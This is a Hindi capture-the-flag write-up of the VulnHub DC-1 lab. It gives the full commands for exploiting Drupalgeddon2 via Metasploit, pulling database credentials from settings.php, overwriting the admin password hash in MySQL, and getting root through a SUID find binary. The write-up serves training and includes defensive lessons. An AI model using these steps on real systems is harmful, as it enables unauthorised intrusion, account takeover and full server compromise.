
VulnHub DC-1 boot-to-root — RCE के लिए CVE-2018-7600 (Drupalgeddon2) का शोषण, settings.php से DB क्रेडेंशियल निकालना, एडमिन पासवर्ड हैश गढ़ना, और SUID find के जरिए root तक विशेषाधिकार बढ़ाना।
"पेनिट्रेशन टेस्टिंग लैब राइटअप जो पूर्ण अटैक चेन का दस्तावेज़ीकरण करते हैं — रिकॉन से रूट तक।"
कठिनाई: शुरुआती–मध्यवर्ती
प्लेटफ़ॉर्म: VulnHub
लक्ष्य: सभी 4 फ़्लैग प्राप्त करना और पूर्ण रूट-स्तरीय समझौता हासिल करना
हमलावर OS: Kali Linux (VirtualBox — NAT नेटवर्क)
लक्ष्य OS: Debian Linux (Drupal 7 CMS)
| घटक | विवरण |
|---|---|
| हाइपरवाइज़र | VirtualBox |
| नेटवर्क मोड |
दोनों वर्चुअल मशीनों को VirtualBox में एक ही NAT नेटवर्क के अंतर्गत कॉन्फ़िगर किया गया था ताकि आपसी VM संचार संभव हो सके और एक पृथक लैब वातावरण बना रहे।
स्थानीय सबनेट पर सभी सक्रिय होस्ट की पहचान के लिए arp-scan का उपयोग किया गया:
sudo arp-scan -l
परिणाम: लक्ष्य 10.0.2.3 पर पहचाना गया
वर्जन डिटेक्शन और डिफ़ॉल्ट स्क्रिप्ट के साथ पूर्ण Nmap स्कैन चलाया गया:
sudo nmap -sV -sC 10.0.2.3
मुख्य निष्कर्ष:
| पोर्ट | सेवा | वर्जन |
|---|---|---|
| 22/tcp | SSH | OpenSSH 6.0p1 |
| 80/tcp | HTTP | Apache 2.2.22 |
| 111/tcp | rpcbind | — |
🔑 महत्वपूर्ण: Nmap ने HTTP जनरेटर हेडर के माध्यम से वेब एप्लिकेशन को स्पष्ट रूप से Drupal 7 के रूप में पहचाना — जो एक ज्ञात संवेदनशील CMS वर्जन की पुष्टि करता है।
Drupal 7 अपने Form API में एक गंभीर रिमोट कोड एक्सीक्यूशन (RCE) भेद्यता से प्रभावित है। एक अनप्रमाणित हमलावर एक विशेष रूप से तैयार HTTP अनुरोध भेज सकता है जिसे बैकएंड एक सिस्टम कमांड के रूप में निष्पादित करता है — बिना किसी प्रमाणीकरण की आवश्यकता के।
Metasploit Framework लॉन्च किया गया:
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit
परिणाम: Meterpreter रिवर्स शेल www-data (वेब सर्वर प्रोसेस यूज़र) के रूप में सफलतापूर्वक खुल गई।
Meterpreter से नेटिव Linux शेल में उतरकर Python PTY का उपयोग करके उसे स्टेबिलाइज़ किया गया:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
परिणाम: /var/www के अंदर www-data@DC-1 के रूप में पूर्णतः इंटरैक्टिव bash शेल प्राप्त हुई।
ls -la /var/www
cat flag1.txt
फ़्लैग 1 सामग्री:
Every good CMS needs a config file - and so do you.
💡 संकेत: सीधे Drupal कॉन्फ़िगरेशन फ़ाइल —
settings.phpकी ओर इशारा करता है
Drupal कॉन्फ़िग निर्देशिका में नेविगेट करके सेटिंग्स फ़ाइल का निरीक्षण किया गया:
cd /var/www/sites/default
cat settings.php
$databases ऐरे में एम्बेडेड क्रेडेंशियल मिले:
| फ़ील्ड | मान |
|---|---|
| डेटाबेस | drupaldb |
| उपयोगकर्ता नाम | dbuser |
| पासवर्ड | R0ck3t |
फ़्लैग 2 सामग्री (फ़ाइल टिप्पणियों से):
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?
💡 संकेत: बिना कुछ ब्रूट-फोर्स किए MySQL बैकएंड तक पहुँचने के लिए क्रेडेंशियल का उपयोग करें।
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;
admin और fred दोनों के हैश किए गए पासवर्ड मिले — दोनों Drupal की $S$ हैशिंग योजना (SHA-512 आधारित) का उपयोग करते हैं।
मौजूदा हैश को क्रैक करने के बजाय, नया हैश उत्पन्न करने के लिए Drupal के स्वयं के अंतर्निहित PHP स्क्रिप्ट का उपयोग किया गया:
cd /var/www
php scripts/password-hash.sh password123
आउटपुट: password123 के लिए एक मान्य $S$D... हैश
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';
http://10.0.2.3 में admin / password123 के रूप में सफलतापूर्वक लॉगिन किया गया।
फ़्लैग 3 सामग्री (Drupal एडमिन कंटेंट पैनल में मिली):
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.
💡 संकेत:
findकमांड पर SUID बाइनरी गलत कॉन्फ़िगरेशन — प्रिविलेज एस्केलेशन वेक्टर की पहचान की गई।
cat /etc/passwd
/home/flag4 पर होम डायरेक्टरी वाला यूज़र flag4 ढूंढा गया।
cat /home/flag4/flag4.txt
फ़्लैग 4 सामग्री:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
find के माध्यम से SUID एक्सप्लॉइटेशनfind बाइनरी पर SUID बिट सेट था, जिसका अर्थ है कि यह चलाने वाले व्यक्ति की परवाह किए बिना फ़ाइल स्वामी (रूट) के विशेषाधिकारों के साथ निष्पादित होता है।
find . -exec /bin/sh \;
whoami
# root
cd /root
cat thefinalflag.txt
Well done!!! Hope you enjoyed DC-1!
पूर्ण रूट समझौता प्राप्त हुआ। ✅
आक्रामक दृष्टिकोण से:
settings.php जैसी कॉन्फ़िगरेशन फ़ाइलों में अक्सर प्लेनटेक्स्ट क्रेडेंशियल मौजूद होते हैं जो हमलावर को वेब एक्सेस से पूर्ण डेटाबेस नियंत्रण तक ले जाते हैं।find, vim, या python जैसी सामान्य बाइनरी पर SUID गलत कॉन्फ़िगरेशन Linux वातावरण में सबसे विश्वसनीय प्रिविलेज एस्केलेशन वेक्टरों में से एक है।रक्षात्मक दृष्टिकोण से:
find / -perm -4000 -type f 2>/dev/null किसी भी Linux हार्डनिंग चेकलिस्ट का हिस्सा होना चाहिए।यह राइटअप पूर्णतः शैक्षिक उद्देश्यों के लिए है और यह एक पृथक, कानूनी लैब वातावरण में किए गए कार्यों का दस्तावेज़ीकरण करता है। इन तकनीकों को कभी भी उन प्रणालियों पर आज़माएं नहीं जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
Prapul द्वारा पूर्ण | TryHackMe प्रोफ़ाइल | GitHub
| NAT नेटवर्क (दोनों VM एक ही सबनेट पर) |
| हमलावर मशीन | Kali Linux |
| लक्ष्य मशीन | DC-1 (VulnHub) |
| लक्ष्य IP | 10.0.2.3 (arp-scan द्वारा खोजा गया) |
| टूल | उद्देश्य |
|---|
arp-scan | स्थानीय सबनेट पर होस्ट डिस्कवरी |
nmap | पोर्ट स्कैनिंग और सेवा फ़िंगरप्रिंटिंग |
Metasploit Framework | CVE-2018-7600 एक्सप्लॉइट डिलीवरी और रिवर्स शेल |
MySQL CLI | डेटाबेस एन्यूमरेशन और क्रेडेंशियल मैनिपुलेशन |
PHP (password-hash.sh) | नेटिव Drupal हैश जनरेशन |
Python PTY | शेल स्टेबिलाइज़ेशन |
VirtualBox | पृथक लैब वातावरण सेटअप |